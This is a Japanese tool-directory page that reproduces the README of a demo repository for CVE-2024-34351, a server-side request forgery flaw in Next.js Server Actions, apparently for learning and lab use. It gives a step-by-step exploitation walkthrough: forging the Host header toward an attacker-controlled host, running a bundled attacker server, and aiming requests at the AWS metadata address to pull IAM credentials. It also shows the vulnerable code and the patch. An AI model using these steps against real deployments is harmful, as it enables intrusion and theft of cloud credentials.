Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2024-34351-demo | Kitploit
ツール/GitHubGitHub/jinlei-chen-uwo/cve-2024-34351-demo
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストクラウドセキュリティ学習と教育
GitHubjinlei-chen-uwo/cve-2024-34351-demo

cve-2024-34351-demo

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-34351 デモ

Next.js Server Actions における Server-Side Request Forgery (SSRF) 脆弱性である CVE-2024-34351 を実証するための最小限の Next.js 14.0.0 アプリケーション。

Assetnote の Adam Kues 氏と Shubham Shah 氏によって発見されました。Next.js 14.1.1 で修正されました。


脆弱性の仕組み

Server Action が redirect('/some-path') を呼び出すと、Next.js は受信リクエストの Host ヘッダーを検証なしで使用して内部 fetch URL を構築します:

root@kitploit:~
// Vulnerable code in createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host']           // attacker-controlled
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... })  // server makes this request

Host ヘッダーを制御する攻撃者は、この内部 fetch をサーバーが到達可能な任意の宛先に向けることができます。


要件

  • Node.js 18+
  • npm
  • インターセプト用の Burp Suite Community Edition (無料)

セットアップ

root@kitploit:~
npm install
npm run build   # must use production build -- dev mode routes redirects differently
npm run start   # app runs at http://localhost:3000

悪用

ステップ 1 -- interactsh でアウトバウンドリクエストを確認する

interactsh は、Next.js サーバーが攻撃者が制御するホストに対してアウトバウンドリクエストを送信することを確認するのに役立ちます。

root@kitploit:~
# Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Start a session -- note your interaction URL, e.g. abc123.oast.fun
interactsh-client

Burp Suite で:

  1. http://localhost:3000 を開き、インターセプトを ON にした状態でログインフォームを送信する
  2. インターセプトした POST リクエスト内で、Host: localhost:3000 を Host: abc123.oast.fun に変更する
  3. リクエストを転送する
  4. interactsh を確認する -- Next.js サーバーからの HEAD リクエストがログに記録されているはずです

これにより、アウトバウンド SSRF が証明されます。このリクエストはブラウザではなくサーバープロセスから発信されます。

ステップ 2 -- 攻撃者サーバーによる完全な読み取り

interactsh はレスポンスを制御できないため、Next.js は GET まで進みません。完全なレスポンスボディを取得するには、同梱の攻撃者サーバーを使用します:

root@kitploit:~
python3 attacker/attacker_server.py 8888

Host ヘッダーを <your-lan-ip>:8888 に設定して転送します。攻撃者サーバーは HEAD リクエストに対して Content-Type: text/x-component で応答し、GET をトリガーします。完全なレスポンスボディは、Burp で確認できる Next.js のレスポンス内に返されます。

ステップ 3 -- AWS メタデータへの権限昇格 (EC2 上)

脆弱なアプリを AWS EC2 インスタンス上で実行している場合は、Host ヘッダーを次のように設定します:

root@kitploit:~
Host: 169.254.169.254

Next.js はインスタンスメタデータサービスからフェッチします。IAM 認証情報を取得するには:

root@kitploit:~
Host: 169.254.169.254

その後、リダイレクトパスを調整するか、フォローアップリクエストを使用して次をターゲットにします:

root@kitploit:~
http://169.254.169.254/latest/meta-data/iam/security-credentials/

完全なメタデータレスポンスが攻撃者のブラウザに返されます。


パッチ (Next.js 14.1.1)

root@kitploit:~
// Patched -- no longer reads from the attacker-controlled request header
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
          ?? process.env.__NEXT_PRIVATE_ORIGIN
          ?? req.headers['host']

修正では process.env.__NEXT_PRIVATE_ORIGIN が優先されます。これはサーバー起動時に設定され、攻撃者が制御することはできません。


参照

  • Assetnote Research Post
  • Assetnote Advisory
  • GitHub Advisory GHSA-fr5h-rqp8-mj6g
  • NVD CVE-2024-34351
  • Patch PR #62561
ツールをダウンロード